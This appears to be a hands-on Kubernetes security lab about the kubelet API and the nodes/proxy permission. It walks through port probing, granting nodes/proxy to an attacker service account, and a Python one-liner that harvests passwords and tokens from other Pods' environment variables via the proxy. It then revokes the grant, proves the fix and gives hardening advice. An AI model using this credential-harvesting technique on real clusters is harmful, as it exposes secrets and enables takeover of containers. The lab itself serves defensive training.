Skip to content
Hands-on IT IT Drills

Day 7: The kubelet API and nodes/proxy

Goal: You read Secrets of other Pods via the kubelet proxy – and turn that around. · Duration: approx. 70 min · Prerequisite: Day 6

Briefing

Every Node runs the kubelet with an HTTPS API on port 10250: list Pods, exec, logs, specs. Two things decide how dangerous that is – whether the kubelet rejects anonymous access (RKE2: yes, good) and whether someone holds the permission nodes/proxy. This permission is often granted “for metrics/debug” and is effectively a master key to every container on every Node.

Drill 1: The Attack Surface – Port 10250

From the attacker Pod, every Node’s kubelet port is reachable; but anonymous is (luckily) rejected:

kubectl -n attacker exec shell -- nc -zv -w3 172.16.0.228 10250
kubectl -n attacker exec shell -- curl -s -k -o /dev/null -w "%{http_code}\n" \
  --max-time 5 https://172.16.0.228:10250/pods

Expected:

Connection to 172.16.0.228 10250 port [tcp/*] succeeded!
401

succeeded shows: the network lets you through (no firewall/NetworkPolicy). 401 shows: the kubelet demands an identity. RKE2 gets this right – the default --anonymous-auth is off. Both together are the point: the door is reachable, but locked. Now a misconfiguration provides the key.

Save your progress? Sign up for free

Drill 2: The Misconfiguration – nodes/proxy

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata: {name: node-proxier}
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get","create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: {name: attacker-node-proxier}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: ClusterRole, name: node-proxier, apiGroup: rbac.authorization.k8s.io}
EOF

nodes/proxy forwards requests through the API server to the kubelet – with the identity of the API server. The anonymous hurdle from Drill 1 is thereby bypassed.

Save your progress? Sign up for free

Drill 3: Exploit – Secrets from Other Pods’ Specs

The kubelet route /pods delivers the full specs of all Pods of the Node – including environment variables. If a password sits in cleartext in env (common!), you read it without any Secret permission:

AS="--as=system:serviceaccount:attacker:default"
NODE=$(kubectl -n shop get pod -l app=db -o jsonpath='{.items[0].spec.nodeName}')

kubectl $AS get --raw "/api/v1/nodes/$NODE/proxy/pods" | python3 -c '
import sys,json
for p in json.load(sys.stdin)["items"]:
    for c in p["spec"].get("containers",[]):
        for e in c.get("env",[]) or []:
            if "value" in e and any(x in e["name"] for x in ("PASS","SECRET","TOKEN")):
                print(p["metadata"]["namespace"]+"/"+p["metadata"]["name"],
                      e["name"],"=",e["value"])'

Expected (shortened):

shop/db-775684cfff-bx4xv POSTGRES_PASSWORD = lab-password

The database password from shop – read by an account that only had nodes/proxy. Over the same proxy go exec and log; nodes/proxy is thereby as powerful as root in every container of the cluster.

Save your progress? Sign up for free

Drill 4: Fix – Revoke nodes/proxy

kubectl delete clusterrolebinding attacker-node-proxier
kubectl delete clusterrole node-proxier

Save your progress? Sign up for free

Drill 5: Proof

AS="--as=system:serviceaccount:attacker:default"
kubectl $AS get --raw "/api/v1/nodes/rke2-agent1/proxy/pods"

Expected:

Error from server (Forbidden): nodes "rke2-agent1" is forbidden: User
"system:serviceaccount:attacker:default" cannot get resource "nodes/proxy" in API group ""

And the good baseline remains – anonymously the kubelet stays shut:

kubectl -n attacker exec shell -- curl -s -k -o /dev/null -w "%{http_code}\n" \
  --max-time 5 https://172.16.0.228:10250/pods

Expected: 401

Save your progress? Sign up for free

Checkpoint

No workload may proxy the kubelet:

kubectl auth can-i get nodes/proxy --as=system:serviceaccount:attacker:default

Expected: no

The Secret is nevertheless still in cleartext in the Pod spec – remember it for Day 10:

kubectl -n shop get pod -l app=db \
  -o jsonpath='{.items[0].spec.containers[0].env[?(@.name=="POSTGRES_PASSWORD")].value}'; echo

Expected: lab-password

Challenge

Find out whether any account other than the control plane may use nodes/proxy – that is a critical audit finding.

Hint: Search the rules of all ClusterRoles for the resource nodes/proxy and then check their bindings.

Solution

kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
    for rule in r.get("rules") or []:
        res=rule.get("resources") or []
        if "nodes/proxy" in res or ("nodes" in res and "proxy" in str(rule)):
            print(r["metadata"]["name"], res, rule.get("verbs"))'

Expected: system roles such as system:kubelet-api-admin. Every custom role with nodes/proxy belongs reviewed and usually removed.

Save your progress? Sign up for free

Enterprise Note

  • nodes/proxy, nodes/* only for clearly named system components; never to workloads, CI or “debug” accounts.
  • Keep the kubelet hard: --anonymous-auth=false, --authorization-mode=Webhook, --read-only-port=0 (RKE2 defaults – verify in the CIS profile that they are set).
  • Make port 10250 reachable only from the control plane via host firewall/network segmentation; workloads never need it. Restrict Pod-to-Node traffic with NetworkPolicy (Day 8).
  • Never put Secrets as cleartext env into the Pod spec – use secretKeyRef or mount them, so the Pod specs no longer reveal that much over nodes/proxy (Day 10).